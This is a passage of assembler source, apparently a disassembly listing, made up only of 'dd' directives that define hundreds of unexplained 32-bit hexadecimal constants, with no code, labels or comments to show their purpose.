		dd 0B7C82BB3h, 197ADDBh
		dd 81BD01BDh, 0BF5ECD6Bh, 2D0CA05Ch, 3377C82Bh,	0E17FA37h
		dd 0B5A2D1CFh, 0EE552471h, 0CD9D3D72h, 13E05AC2h, 2BB3A949h
		dd 81FB66Bh, 0AE31C5F7h, 5D6E40AEh, 0B93D27F4h,	0A844029Eh
		dd 5CF5F839h, 21491B8h,	5BDD8A57h, 7390D7F9h, 18978B0Fh
		dd 9DE50971h, 0D025277Bh, 1C74971Dh, 0E9E4115Bh, 0CCDA2533h
		dd 0FB8995C0h, 2D6B6A88h, 3C6CDF56h, 0A21A4B21h, 0B47B8487h
		dd 1B233Eh, 565B97F9h, 47121DC2h, 719B6A9Ch, 315863C0h
		dd 8B4E2CADh, 0FA408EA2h, 0ED025A95h, 0F98BC64Dh, 0A452028h
		dd 920B925h, 943C375Ch,	0DF25A005h, 95299CC0h, 77C96949h
		dd 34B2A4A3h, 9DDFB8D5h, 12C49419h, 0E496B7BAh,	502DF7BBh
		dd 0F6A4C160h, 89819D25h, 0DA585EC9h, 8640A8EDh, 2FBDB3Bh
		dd 1F0601D4h, 375546DCh, 8EAD07AAh, 0CDC920D6h,	8A25D880h
		dd 9FBDC6FAh, 0F557F390h, 95015F05h, 0DBEE33E9h, 0BFA6D291h
		dd 43A6C12h, 1225971h, 29259D03h, 4051F72Ah, 2D5EADA5h
		dd 5ABF6FECh, 919B498h,	0CE2C63A0h, 46030375h, 0D381E030h
		dd 328612A2h, 17081615h, 57060BA4h, 42D7C209h, 59D056E4h
		dd 0A1E72F79h, 0F5D510B7h, 0E99408A3h, 0D6DC4F40h, 7D3D005Ch
		dd 0FC786CCDh, 4D4888FDh, 0CDFFD771h, 0D8322B21h, 81DD5EB5h
		dd 0FFE5C380h, 0B81B6DE1h, 6C6501C5h, 0D9BD89D0h, 25D3480Fh
		dd 7FA3234Bh, 4FD74A8Bh, 0C5BD4013h, 2F133949h,	2149E093h
		dd 469C572Bh, 74043025h, 7D4BF4D6h, 0D13A07CAh,	0A0FFE75Eh
		dd 1F7E1C51h, 52B639CEh, 1179055Eh, 0DFA7BE1Ah,	437616A0h
		dd 17F5E02h, 0D8A423BFh, 0C4D04BCFh, 8093EC2Fh,	0DEEDB39Eh
		dd 958D0E37h, 0AA2B4076h, 39099F5Eh, 25187857h,	4B5EDE8Ah
		dd 0C0ACCDE9h, 60439D8Fh, 0B79EBDB1h, 14507B41h, 0F0F46113h
		dd 550A2D01h, 0D1BD84F0h, 24354999h, 4E5D108Dh,	0E279996Bh
		dd 892D2071h, 8B7A8B5Fh, 92ED5749h, 55A912E0h, 0F8DA3EC2h
		dd 0EB7F5797h, 0F2EA5465h, 68610482h, 0F4C7355Dh, 8AFB8895h
		dd 9CD400C3h, 7DCA1BC2h, 0B9F70224h, 9AC3134Eh,	0A203F754h
		dd 0B86AEB36h, 2D0A95DFh, 0CF5E2ABBh, 5640F4C8h, 113B1E7h
		dd 0B365D24Ch, 2ECC7D62h, 0D9AE9F13h, 12FC3E30h, 2BF1E9B1h
		dd 6F046BBDh, 0AF7DB71Eh, 67807D2Ah, 0F16BEEAFh, 17BF302Eh
		dd 71F9B509h, 57604237h, 0D2549F8Bh, 57615889h,	18915BB5h
		dd 2C590880h, 1897667Ch, 90F8562Ch, 0BA9577B2h,	0B63BED45h
		dd 1B52F005h, 889C257Ah, 50532C1h, 6E67C8C5h, 0E83EBF91h
		dd 0AD33122Eh, 1254B868h, 13960248h, 5D28FE27h,	15E9002Bh
		dd 9160C899h, 0F0120BA2h, 1C9505Bh, 9DC74FF8h, 9209866Bh
		dd 0FD5BAE7Ah, 0F5CB706Dh, 0C1B0F54Ch, 0A77BE145h, 86CB0035h
		dd 0B84F68EEh, 8A9D12FDh, 47FBCDCh, 62214BB0h, 5E1D6EFBh
		dd 0ACA425ECh, 0B9BD83B1h, 36DD9134h, 6830BF2Fh, 9A00CBAh
		dd 601AEE9Ch, 63447901h, 0B501DC21h, 61F86895h,	5D8DF05Bh
		dd 0B94E4B79h, 8C1AAC7Fh, 2AAF53Fh, 9570F6A7h, 85434057h
		dd 7E2041EDh, 0DA6A8005h, 8CD557AFh, 0A71CFC39h, 3B80F5FEh
		dd 0BE833E13h, 2277B42h, 0A8B302A3h, 0D2E0905Fh, 0EE951989h
		dd 305EB0CAh, 81D90821h, 471685C7h, 0E8BC4D6Fh,	1613FCE5h
		dd 4BC2AB5h, 0B8746E3h,	805837FFh, 5B7D2CCh, 3DBD3DE9h
		dd 29648AACh, 0E62812CAh, 1423EAB1h, 0D88AA800h, 5F71BD33h
		dd 0A0C0E71Eh, 7EE4CC7Bh, 0EAF25B2Eh, 0E9D6B128h, 0A008A72Fh
		dd 23B28D8h, 3F909495h,	1D45F8AAh, 5703A589h, 5212D7BDh
		dd 26E17104h, 5AD191E4h, 0B52ABB2Dh, 0CE187BCBh, 0BB011240h
		dd 3D3EA524h, 0B3E47F97h, 0B93BE5EFh, 5C2DA988h, 3557028Bh
		dd 9284A37Ah, 0C512BB64h, 0DAD2BDB9h, 35DE8028h, 2319EA4h
		dd 37662C3Bh, 7C606025h, 63822EC1h, 24926Dh, 8B519661h
		dd 4A2EFA58h, 0BF9720FEh, 3A12BE30h, 0B4F6966Fh, 505D77E2h
		dd 564F2FBFh, 0BD4F187Dh, 5DF4AADDh, 54F8127Bh,	0FA9FA14Dh
		dd 9F47AD6Fh, 5EA578E6h, 55005557h, 49CC4E28h, 0A250972h
		dd 3A5D2491h, 4040ED4Ch, 0D087527Ch, 0EF54F302h, 5EF5E28Ah
		dd 0EADAC55Dh, 0C70980A6h, 2D787C40h, 33B198A0h, 2050F1C2h
		dd 57B292E9h, 0F52D7B79h, 6DBD4718h, 99F1942h, 0D5F1FDB5h
		dd 0CEFC8A0Ah, 0F93761CEh, 0F62A3E84h, 301DB294h, 0EB392BFFh
		dd 44FB0202h, 0D56C18E9h, 5FDDB390h, 62614500h,	52A83713h
		dd 0E1DF167Bh, 0D8ED0046h, 5F0B04D9h, 51A1BB00h, 0B35061B4h
		dd 0C1099772h, 3570915Bh, 0FD2C17C8h, 5F6E02F8h, 0E0D560BEh
		dd 85266527h, 29BB6602h, 0F1DA5C83h, 0A7CC6F5Fh, 7BFC8118h
		dd 4E3DA1A3h, 39C8017Ch, 0FAB66D8h, 33A26E89h, 0EF75EC89h
		dd 7B88AFC9h, 78CAA381h, 8B003AB9h, 0A9E54939h,	97F598E6h
		dd 0F7A73C7Eh, 0B000FC3Dh, 1660179Fh, 253390C2h, 5EE2625h
		dd 7F47BB05h, 382057E4h, 4F658D09h, 897BB203h, 0F16DFDD9h
		dd 25E3EC4Bh, 1A77C248h, 0ED3FC0F9h, 1F9C9710h,	36212045h
		dd 0D353AC3Bh, 0D19D00EAh, 61F5D7B5h, 46C40B97h, 99C19D1Ah
		dd 0ACA37B0Dh, 19B92CD8h, 97C1E980h, 0DBB7A709h, 7E39C680h
		dd 6EC042C1h, 6FD35C6Eh, 40BF4F7Bh, 16858362h, 0AAC5FDDDh
		dd 2CEB2865h, 541AD2Ah,	0C360202Eh, 4200A032h, 0DD6FD429h
		dd 4A27525Ch, 28C4BA37h, 0B72F9C40h, 0EEBAB25Eh, 75A338C6h
		dd 4A20AE4Ah, 4B730F9h,	5E3DAF0Ch, 432A8271h, 15557B75h
		dd 5A27B0E5h, 0D06031F6h, 73F123Eh, 8B3034FFh, 2925198Dh
		dd 8002AC5Bh, 75FDC3ECh, 76AC3D6Ah, 8B669380h, 0EB815FD0h
		dd 863E4D7Bh, 59BB5A18h, 0C44818A9h, 660F5522h,	40A38BBAh
		dd 0F81405C3h, 0B2534A0Dh, 6C3DB7h, 0A2F06B9Fh,	2749A834h
		dd 0DEDCC586h, 48F5F00h, 1725B906h, 302B4FE0h, 1ECF5C5Bh
		dd 49F7B400h, 78E6C7Bh,	47F0AEh, 0BF9EE881h, 85013234h
		dd 9708F131h, 199D9AC0h, 14F8D6F9h, 0F0D2654h, 0DC0A7A85h
		dd 0E001E14Ah, 9B628070h, 0A0DC9060h, 0F5521CE3h, 10298039h
		dd 0CB1365C6h, 15ECC500h, 9679F9BBh, 0F45FEC30h, 0EB074E0h
		dd 853A4490h, 0E1781198h, 0DC3819C1h, 58B0B521h, 983247E2h
		dd 0C03ADD06h, 731A2E4h, 9C01979Fh, 9A327393h, 8DB125D9h
		dd 48BB6418h, 0A007C1E6h, 6948308Ch, 0A90F1B39h, 80C1E53Ah
		dd 209365C5h, 476E00EDh, 25E8B731h, 7400CE5Ah, 0B0016B96h
		dd 6E27619h, 0B5E6A561h, 0EA73B157h, 30B3EC18h,	83714E20h
		dd 6998AFC0h, 99FD4605h, 18AEB6F5h, 33E0D9ECh, 0C994240Ch
		dd 180111C4h, 8C04DCEBh, 0B1669139h, 0F208C019h, 531F06E4h
		dd 512D6E64h, 83D5E1C8h, 0EA55E576h, 48D7C800h,	0B52A0783h
		dd 0A11514B0h, 1D00C408h, 0A8D26D66h, 3019AFE6h, 1908E0FAh
		dd 0C069EEF0h, 1D333BB8h, 0A93C7D6Eh, 31E450AAh, 0E158EB60h
		dd 14E90CD9h, 8CD8021Dh, 596DE306h, 0C79090A1h,	18B5AE31h
		dd 82021C8h, 37B1714Ah,	0F9E478h, 69EA230Bh, 94840503h
		dd 0A383F561h, 222100F4h, 6C352303h, 41F52566h,	5C1F62Ch
		dd 90C81822h, 7F11A8ECh, 27B7004Eh, 24D63057h, 0B36E619Fh
		dd 0EABB0321h, 0BEFA30DFh, 0E22D6A50h, 46F0D441h, 18926029h
		dd 993790C9h, 7FEC6354h, 10A3EF02h, 40050CE9h, 0E804D442h
		dd 0A621C07Bh, 0F53CA3E7h, 0BF47F400h, 0ED6DCC39h, 1E2D1AE8h
		dd 800060B8h, 0DF02255Eh, 71002492h, 24D8844Bh,	0F63F1Dh
		dd 0B785C99Ch, 614D0FACh
		dd 253D5600h, 0D2C8FC1Eh, 4BF30098h, 45A9B222h,	0EF00EB86h
		dd 60A262Eh, 0B67859h, 0CD2E552h, 67BA8E01h, 1DD53E38h
		dd 3CC0D42Fh, 0D7F66843h, 6B90E5h, 0A44E535Ch, 62501DF1h
		dd 0F340D007h, 0E9D0B143h, 923C2Bh, 689A9580h, 8660B4A8h
		dd 0D21EC879h, 54C03FC0h, 6B0DDB89h, 0F88CFE76h, 8E9801A4h
		dd 2C3F52DFh, 2D60E81Ah, 8D9F9100h, 0E30B5FB4h,	0E1B21CDCh
		dd 473D00E9h, 0D4534F5Ah, 1885D303h, 0A01F7D0Dh, 773BD5BAh
		dd 0A5300163h, 9CD1DE64h, 3308985Ch, 6B5E21h, 7BD93D7Dh
		dd 0ADA78475h, 30DE2E03h, 0E95A431Eh, 2C4BCF3Fh, 370063DEh
		dd 0A8457EC1h, 0BC963E2Bh, 0C9181B00h, 3EDF124Ch, 2D209A07h
		dd 11885C0h, 0A26E1BFFh, 28BCD8h, 17DB79B5h, 193C905Eh
		dd 86056BEh, 132180EFh,	0E2DDB72h, 864B0021h, 77330A49h
		dd 58C61FBEh, 2068F645h, 81C02CE2h, 0A5A4F5BAh,	0E8B9634Ah
		dd 0B99E5BC9h, 1B797B00h, 0E5C5D18Ch, 72213EE1h, 37E4272Ch
		dd 1438E020h, 91017698h, 991FB10Dh, 25D1B0FDh, 980C5A10h
		dd 8A23FC00h, 8B9B8E34h, 4E4100F7h, 0E5DE5620h,	0B10D8CAFh
		dd 61E2BBD1h, 0E839108Ch, 79009370h, 0A34F1080h, 58E2CCh
		dd 0A2F4E47Eh, 4016DC3Ch, 5C50D900h, 0A42D6FF2h, 1D700082h
		dd 0EE0313Eh, 0BF0FDD22h, 83340B63h, 46B6B5A6h,	22C30411h
		dd 1000BCC9h, 4411D25Eh, 1F8C991Eh, 81CA5D7Fh, 0D3A0163Bh
		dd 26E4F465h, 89885200h, 0D0AAD6F9h, 0E38E004Dh, 0AFD20607h
		dd 97243AC3h, 3CF3EAh, 8F1C5BA3h, 7C28FADCh, 7A71B5h, 0E3B018CCh
		dd 67DD566Ch, 0D04C3900h, 0BC2B5CE2h, 636800BFh, 0C88A1175h
		dd 7B7ECF4Dh, 0A1E57300h, 8C157CEh, 0BDEC0051h,	60ED76FAh
		dd 5930D3ADh, 0F235498Eh, 6320FDCh, 5DA0080Ah, 2C33C685h
		dd 39B88B1Dh, 9A10A040h, 0FEAA0Fh, 891AE9ADh, 0B2DE08AEh
		dd 0BD333F07h, 0B4113EABh, 58F45C73h, 19F1CA9h,	51D4580Bh
		dd 0E2EF192h, 2B00AA3Bh, 0BC8F9A45h, 0BD371EAEh, 6D808669h
		dd 8D00714Ch, 4B1C6643h, 8F8C6h, 0A37EB94Fh, 333A030Fh
		dd 0A79DCD0Fh, 679E8084h, 5FBACBAh, 4869AB77h, 49D44F2Eh
		dd 131D44E0h, 59C06C0Fh, 824EF070h, 0A47DD9h, 1814BA04h
		dd 5CCE888Ah, 5D634505h, 0F44034E7h, 0D0F6F744h, 47A50010h
		dd 0EA65B835h, 8201807Ch, 0CD7B87EEh, 6CAD4917h, 80A81108h
		dd 63D28BB7h, 0E00023EEh, 0A77A67Ah, 7D8E80Eh, 0B20C032Ah
		dd 85F7132Bh, 4A2C9900h, 0FED44E51h, 0CA7D0081h, 9F5E276Fh
		dd 78F839F7h, 443A610Fh, 9075207Ah, 0B35C05h, 0F68CE79Ch
		dd 0E32DC31Ah, 806CAC3Eh, 74AAD23h, 16EE679h, 0CE08A59Bh
		dd 0F0946AB2h, 5C50F52Ah, 522E7FC8h, 11303E3Ch,	5B628Fh
		dd 0DB8A20Bh, 0E6BFAFF7h, 6880C00h, 7163A0D1h, 4B20028h
		dd 4B6E0F33h, 8892877Bh, 9613D51Ch, 0DC528AC3h,	3216C029h
		dd 0E7300A0h, 8DA8E23h,	27E21258h, 0A8B08039h, 78C0EC17h
		dd 9F4E5D7Eh, 0FED80687h, 1809CFFFh, 25F59600h,	33BC9C67h
		dd 7DF8F9D2h, 1FDC074Ch, 11CB3489h, 60A23BEFh, 0F60060D9h
		dd 962C4785h, 0EE8F2579h, 0F7552E62h, 0CB330044h, 520F38B4h
		dd 9B54E400h, 10A769EFh, 1DB503F1h, 0A08D70AFh,	0CB5EE9B0h
		dd 0E54F9309h, 54040762h, 201C4560h, 7AF52CE1h,	0CDA5008Bh
		dd 39E4C24Ah, 33E60400h, 0E775A24Dh, 840D048Bh,	80AE7029h
		dd 0B1017E94h, 0D5E46F18h, 40C17C58h, 4F008D63h, 0D2151F42h
		dd 189B0A9Dh, 39413CDAh, 2C006138h, 0A636A1C3h,	1F0F89E5h
		dd 40AFBD8Eh, 63D9B1A8h, 6D3BFD9Ah, 68DC80F8h, 0BF8F1EDFh
		dd 4E380970h, 38A096B7h, 99C8246Dh, 0A80DB309h,	73E020F4h
		dd 18C61A4h, 14C6B44Dh,	0C0E5B2FAh, 797EEEC2h, 3B7EF0C0h
		dd 738CAD36h, 0BE2A00C3h, 0BC5CDB94h, 7200716Eh, 367EE055h
		dd 0D564B3h, 0DC97DAB7h, 0D15F3E39h, 0BE4B5700h, 7A100C9Ch
		dd 0FDFF0076h, 0AD24EA27h, 7C00EC86h, 4F3D5061h, 0F3B6939h
		dd 759AE9AAh, 630DCE40h, 6D005E3Eh, 8E2852F1h, 0BBB591h
		dd 2743C72Dh, 5B8B09E4h, 1E00D492h, 6E96C160h, 0C0A9E6CBh
		dd 9BC783D0h, 4E00BC1Ah, 9C814F39h, 84A1Dh, 451FAE8Eh
		dd 6F013AD3h, 0FF03F97Fh, 2671F761h, 88AF90E8h,	1870F6B6h
		dd 80D2037Bh, 892FA99h,	0FD169A0Eh, 2BF30088h, 0FDE8D95h
		dd 72F5D907h, 0ED529Fh,	0B7946A8h, 6601CE55h, 9E925175h
		dd 0F8200CADh, 834C00B3h, 0A944F5A6h, 0AF757C1Ch, 2F506000h
		dd 2BB33A5Ah, 4CDD015Eh, 12C9EED3h, 33189FC1h, 0A0CD68Bh
		dd 0C080BC1Bh, 806C761h, 692F2CF6h, 0A7C4011Ch,	0C445AF31h
		dd 0FB7F6AB0h, 99F0CC02h, 581E14BEh, 569E0055h,	2680748Ch
		dd 890E6F65h, 0E1582EA4h, 0DC9872E2h, 0AF8EE4h,	8DDBA801h
		dd 20AB28C3h, 47D64001h, 791348E8h, 38D1288Bh, 7685D00h
		dd 0D0077A92h, 3A0EBD82h, 0EA165BF0h, 36F67Bh, 5667BEBFh
		dd 4113C052h, 931ADB00h, 0E4C86154h, 0CCD400A9h, 0F479400Eh
		dd 0A00BD24h, 942DB3CAh, 344596Ch, 906FB7D6h, 91801601h
		dd 660EA3BEh, 733960F3h, 7C008052h, 6AFED27Ch, 94E709A2h
		dd 8C00A5E5h, 73E350DCh, 4FF64401h, 70DEFA01h, 3B8D6AD8h
		dd 3401DB63h, 6E24395Ch, 0E4E770E9h, 22BABB00h,	0E0308976h
		dd 0EB3400BCh, 326FF157h, 1A0FE758h, 7FF22733h,	255C70C7h
		dd 0A0248C03h, 4C6BA5h,	816F11C2h, 0E841631Dh, 37AD1A03h
		dd 0EB404BA9h, 3829A817h, 53A300FCh, 3A849DABh,	0EFFAC2EAh
		dd 0AECBB000h, 4FC33063h, 83710AC9h, 81FC1B5Eh,	19450544h
		dd 0D1206498h, 8884E303h, 985A5EB9h, 1680E6h, 2BAAC487h
		dd 1E99FAADh, 7FED9E00h, 9CD77809h, 0C8930219h,	0D1AA0375h
		dd 0E880882h, 35A0CCC0h, 1CB3A701h, 8C8A0949h, 0B67874h
		dd 4D07513Eh, 4FCF4EECh, 0D0D4C9F9h, 432EE49Bh,	498094CAh
		dd 0F2846FA3h, 82871DDBh, 0E68B01D2h, 0E163C003h, 0A374F0CAh
		dd 3629C100h, 24411F9Eh, 37E100ABh, 0D2A789DDh,	9F009255h
		dd 0C27FF648h, 0A046E4DBh, 600C2E30h, 4F48906Dh, 88C049E7h
		dd 0EC0E1E07h, 610F450h, 0DBDA806Bh, 6FE438EEh,	491BE71Fh
		dd 688B8A4Ah, 7304005h,	0E284AC46h, 0FA2C3AB0h,	8A888600h
		dd 0E3230CBCh, 8762B63Eh, 83C05BD0h, 88B3FF80h,	1D5E009Dh
		dd 4502AA73h, 7C00C905h, 0EB3A2B62h, 0A5C072h, 60A2CDB5h
		dd 0DCA879C4h, 13C1A000h, 0F36CA31Ah, 260C0196h, 75D32EAh
		dd 7AD8C4A1h, 2D04BF1Dh, 0A002C64Eh, 2338DADEh,	0E60A3FDFh
		dd 0EFA9811h, 8028EB0Bh, 6C7D4B45h, 1CA29016h, 0DC2BDF8Bh
		dd 0D17BCFEEh, 0F04418D8h, 0D8386E01h, 49862C69h, 0FBC385E0h
		dd 0ED7388E0h, 32BF418Fh, 4361DFECh, 0DB173D00h, 7E73B9D0h
		dd 752744Bh, 620FCC11h,	40C58096h, 0A54AF05h, 706F25A8h
		dd 0B881F028h, 40105485h, 0C0B30690h, 78CA7937h, 0EFC37600h
		dd 1CD1D0F1h, 19F90BC6h, 4506CB07h, 0D64176F0h,	9890DB69h
		dd 5B2C8111h, 0C08691E9h, 21FF2F3Eh, 1D445C85h,	1E470C4Eh
		dd 0D57D6007h, 6B093541h, 20A976F8h, 0C4A3BF34h, 62F30736h
		dd 42AD4BFCh, 0B380B52Ch, 0CC83380h, 0F8B1E160h, 0E3A4598h
		dd 0B5EFA08Bh, 801004A4h, 35771956h, 80C51C6h, 0A9340731h
		dd 0C02CEE01h, 0B536EAC2h, 0D062B200h, 0C47B87C9h, 23C7320Eh
		dd 46208278h, 910CD24h,	88427C13h, 737E6801h, 44E98254h
		dd 8F0759B8h
		dd 0EEFB6098h, 7E19348h, 0C8222482h, 8E5BC0F0h,	71E2A3Fh
		dd 3858C30Fh, 287B7E79h, 44247491h, 8500E03Ah, 41060C3Fh
		dd 0C0010B88h, 15D46EC1h, 0D6005E28h, 9F99FC1Ch, 95EC18h
		dd 53FEF47h, 0B9F18137h, 538430DCh, 0C089C02Eh,	5F69DCh
		dd 0B2D048D4h, 36129F46h, 0BF3B9224h, 0D1C3CF00h, 74F3411Ah
		dd 0A9553EA8h, 5952A403h, 29E00F3Eh, 7C06B774h,	0A89808Ch
		dd 80E4F078h, 3C00BC45h, 1C9637A5h, 4CC15Ch, 0B9DB1360h
		dd 0ADF71FE4h, 4F9FA703h, 11E6EC6Dh, 50F34719h,	0D8A87013h
		dd 8D1D8A89h, 0B10E7F35h, 0B52B4077h, 8868F0C2h, 0F1245BE2h
		dd 7F00443Eh, 0B87ADA85h, 78B000FDh, 0F5F4F256h, 0CA0C5E5Dh
		dd 207FB7F3h, 0DC460F39h, 2403B820h, 1978FFE8h,	113B3800h
		dd 0D8F9B76Eh, 837C1Eh,	0F532C2F7h, 0F303DE0Ch,	0ED0E44E2h
		dd 0B257A1h, 0FB087A9Bh, 0C3E8B0E3h, 0AC388310h, 0B11CF588h
		dd 6329C560h, 0D3E4EBh,	6F2384AEh, 80E7D919h, 0A1BF3F00h
		dd 0B3F1D4CCh, 0A85A30BDh, 1117148h, 7AFDC0FFh,	0FF417C00h
		dd 78C418FCh, 3A7F7739h, 0CA0CAA9Ch, 21C1A8E7h,	12284D01h
		dd 96385A5h, 3600E0BEh,	9953B24Fh, 0C56FE868h, 96409DE8h
		dd 283F5DE9h, 9A9006Dh,	66CACE94h, 0D55C5A7Ch, 1C601C8h
		dd 15CFEF44h, 8123E4h, 0AB7AD9F5h, 29E19865h, 9C47AF17h
		dd 0EB7D8801h, 0D5F04B97h, 73011E13h, 0CF538FBDh, 0DB2A06FEh
		dd 0A0018D3h, 0AFF77C2Eh, 380E4507h, 0FF83B615h, 0C76C1ED7h
		dd 5DB4C8A8h, 0EA032A00h, 2ECB97DAh, 84D31711h,	0DE3000F6h
		dd 91D61C2Bh, 6AF08C76h, 5D25B201h, 0CEEC8588h,	0A0E84880h
		dd 0C4FE9517h, 8A461C03h, 0E8683AABh, 304062BDh, 0F008BC7Ch
		dd 5B002813h, 0CEFEEF84h, 22A068h, 6C3F380h, 4A99044h
		dd 0A1325E1Ch, 4CF01994h, 0ECF3007Bh, 6F30CEB7h, 3EA000D5h
		dd 1650213h, 64606D5Dh,	2E2B7A21h, 9B330055h, 1BD34E5Bh
		dd 17003ED9h, 8F2F62D0h, 1450E94Fh, 94AB82F5h, 9C0117h
		dd 29DDBF7Fh, 0A901917Fh, 0AAE8C5ECh, 82603BBEh, 25B106C9h
		dd 69F5D231h, 5F71B807h, 0D8E08872h, 0E5C49961h, 0C3BDF4h
		dd 2E045580h, 0E6F3B09Fh, 0AC7E6803h, 3DC67024h, 0C0824A70h
		dd 0E5770FDFh, 397BFAC0h, 2518B500h, 0F9FA4164h, 0A2400A1h
		dd 0B48BCCE1h, 1A00A997h, 0E7C87069h, 0FC6F15CEh, 2D7D9Dh
		dd 0A0CFF039h, 3528ED6h, 87D96400h, 0C57271C3h,	3EA79FCh
		dd 5C2B297Ah, 0EDAB17E0h, 81EB33E0h, 0DD31077Dh, 0F225A066h
		dd 0B9008855h, 8212E0BDh, 0DEC300E2h, 3B6BB0FBh, 1900FCAAh
		dd 0D4D28780h, 5AB2Dh, 214AEB27h, 1F5F57BEh, 7452C000h
		dd 306B897Fh, 0A1C61FA6h, 49188E20h, 0E9FC02F3h, 58435E14h
		dd 10D0F4F0h, 8D633907h, 914066B6h, 98A553h, 9F56E208h
		dd 45EEA7BFh, 738C5B38h, 545C7000h, 0C47C0F04h,	564B002Eh
		dd 41930A9Ah, 0CF073096h, 0FF58CC62h, 0A07C3500h, 14ED07D2h
		dd 5ED0439Eh, 0FB610E96h, 86786AE0h, 8700029Bh,	393E647Fh
		dd 3E10D86Fh, 0F69D663Ch, 887BC3ECh, 5800E309h,	5E3F9CB6h
		dd 0E3E92B74h, 0F91FC906h, 0C9C1386Ch, 77A2B78Ch, 0A903C06Eh
		dd 4805DB06h, 53E42063h, 6D599001h, 0F8FB4CC8h,	0EA7D16h
		dd 32F8AF7Ch, 123F9DDEh, 809F8E01h, 0C257A40Dh,	0B0FB60D8h
		dd 2F7A00B4h, 7C11083Ch, 0C50EDE06h, 874FE65Dh,	5460383Fh
		dd 479AB9Dh, 2C3D140h, 0A443C0C2h, 0DF2673Dh, 1A623801h
		dd 2AE2CFE6h, 99944080h, 32B4F94Ch, 68F60F00h, 3B704905h
		dd 0FC270F5Bh, 0DC208A8Fh, 0D7442985h, 0E3C65013h, 0F802A60Ch
		dd 75B40EEFh, 9120561Dh, 7D4A5A3Bh, 8DBDA8C0h, 1E47D762h
		dd 870AFF34h, 605E6A5Dh, 3FFBC5DDh, 0FC6B38h, 3CC7BCEFh
		dd 90B1A3D1h, 2C2C4930h, 31789709h, 0B61B6000h,	5092BD38h
		dd 7717601h, 57937367h,	1237C820h, 185AF8D7h, 0C15F1111h
		dd 94877301h, 0A36EF4D1h, 4CDC24h, 4D5C93D5h, 0D451168Dh
		dd 0B0777D26h, 6ED9CA00h, 5420F3ADh, 34EC4Ch, 0BD71CF44h
		dd 240DB6D5h, 261C2E00h, 0F331B06Ah, 9FB700BAh,	4FC32B44h
		dd 7800E1A5h, 302E7FF5h, 0A717B9Ah, 1282DB58h, 2A640090h
		dd 0E36AA884h, 0CCF23300h, 8DE1CA5Bh, 73B700DEh, 0AF2E4255h
		dd 0E3EA06Dh, 821D80C9h, 0D4E8F6EEh, 0A473005Fh, 4C2D39BCh
		dd 43985479h, 0FF6E9100h, 0F4069590h, 8D30F3Fh,	41601735h
		dd 520563FDh, 0E2B29305h, 14C05A98h, 426F75h, 1FD63A0Eh
		dd 0BD3CF6Dh, 0F2B77900h, 4BEA3054h, 887E4808h,	0EE7A5200h
		dd 49AF1E7h, 0B9C1F503h, 0C0B666FBh, 0D2264Ch, 78ABDE53h
		dd 0FD6A692Fh, 9E995800h, 0A6C7EB32h, 12E701FEh, 732D24D0h
		dd 8DC1F830h, 3736970Fh, 0B365C0A0h, 17EBBDEh, 60C91655h
		dd 6009B53Ah, 5000137Ch, 0F7B0A6E6h, 3926219h, 3C7C443h
		dd 27E0EF0Ch, 7C005440h, 0D6DF4A23h, 3EF03746h,	98009520h
		dd 78E07970h, 0EE12B333h, 0D44012C7h, 0F3B63837h, 0A6DC00B9h
		dd 0B17EDF9Eh, 0AD13C2E8h, 0B8409DBEh, 0C3AFEE83h, 0D1D60A92h
		dd 3B0881B9h, 760ED481h, 0E8C67CDAh, 8D0CCA42h,	604ED358h
		dd 95C43B13h, 0CFA57E81h, 0D0357CBBh, 0BCE93BBFh, 1453E20h
		dd 0F0237D89h, 99800119h, 556F2B92h, 0A72E6D30h, 9C011150h
		dd 68D4701Ch, 13F87CC8h, 1FEBF5h, 0CC6FD37Ah, 923BF3D6h
		dd 7D77000Dh, 0FC8CF7FAh, 0F27630CBh, 6D50DD19h, 0C052A400h
		dd 1F9BF64Eh, 38F705D2h, 916EC292h, 0CD18EE48h,	773881D0h
		dd 0AF58F2Ah, 0F4821FF0h, 1B690098h, 0AAC739E6h, 4A00D2F6h
		dd 6D9B6ED8h, 301C0D9h,	0B3EFAF93h, 0BECB9160h,	0DC9E7DF0h
		dd 0A500CFFCh, 0C389A462h, 0FCAA223h, 4CFD6DDFh, 0C1AB8423h
		dd 8573AAB0h, 0A04DDC2Ah, 8012A138h, 0F306CA74h, 0CCAE81FFh
		dd 90219A08h, 0E512AA00h, 182FE27Eh, 0D885009Dh, 0C3716FD0h
		dd 0F300C9FDh, 6D9E1EF8h, 1527AA6h, 1074F43Dh, 97010CECh
		dd 1C009618h, 0D113B073h, 0A0D25D9Ah, 46BE600h,	6D4050ABh
		dd 9476F33h, 862100CEh,	0D0760444h, 28C0D97Eh, 0C4C302B1h
		dd 0EC0F3AFDh, 0C660C47Fh, 0C5233E13h, 9CFB0Bh,	0AE647216h
		dd 0D45C004Eh, 0D9381F16h, 8B014F30h, 0DC0813B1h, 70A425F8h
		dd 7EF50064h, 0BBBCCDBDh, 0A9740A03h, 0F7A6120Dh, 0F2814C0h
		dd 0E5E100B4h, 0A7BAC85h, 0F728B9DDh, 0F4009DC9h, 0F7DBE51h
		dd 0CB2DABh, 0D6563CF6h, 0D5E1D3Bh, 4D80711Eh, 0B5BDDE80h
		dd 25CA21h, 159EEF97h, 0B323E93h, 95B89600h, 5BE99ECh
		dd 0BACD00D4h, 0F698C0E1h, 920023A0h, 9B4B3B24h, 1F1CF17h
		dd 4C2F7BF5h, 0FC5BDDFDh, 1F387A6Eh, 80A53CEDh,	8A18A022h
		dd 0F6162B8Dh, 0E4FD0E9Ah, 0E5E08021h, 2FEB6872h, 944FB500h
		dd 4C641E91h, 2208CC29h, 38005221h, 3179B1B5h, 0A0F1CEh
		dd 119705BAh, 80EDF516h, 666FDC00h, 0DD6B95CBh,	75BE2089h
		dd 61CEE506h, 178345Bh,	687EE483h, 0F8FE69CBh, 703BF626h
		dd 8B7380DFh, 0A5101198h, 1864E223h, 2017BDA6h,	0F8140768h
		dd 0F0204D22h, 8697905Eh, 9F44D200h, 1203A4E0h,	4A3A1DCBh
		dd 72E4035Ch, 0D8E02948h, 490C07F1h, 858DB7Eh, 2621C196h
		dd 0F428A461h, 4A90D7E7h, 0EDB67B00h, 69A59E6Fh, 0E4AC3EF1h
		dd 0F5B40180h, 0AD9F0670h, 625ACC06h, 0A075FDh,	0D65112E4h
		dd 0B72EEB2Fh, 26F3E819h, 21801A08h, 7ED65931h,	0E2057BB5h
		dd 11F3694Eh, 0CDC6B840h
		dd 52839C7h, 0C9DDEDEBh, 33B00051h, 0D6E469E9h,	1A28E861h
		dd 51B17F5Fh, 83F6742Ah, 4FCE9628h, 72401D97h, 303D5861h
		dd 9F2009CBh, 0C4588566h, 0E94E606Fh, 329814F1h, 0D303B87Eh
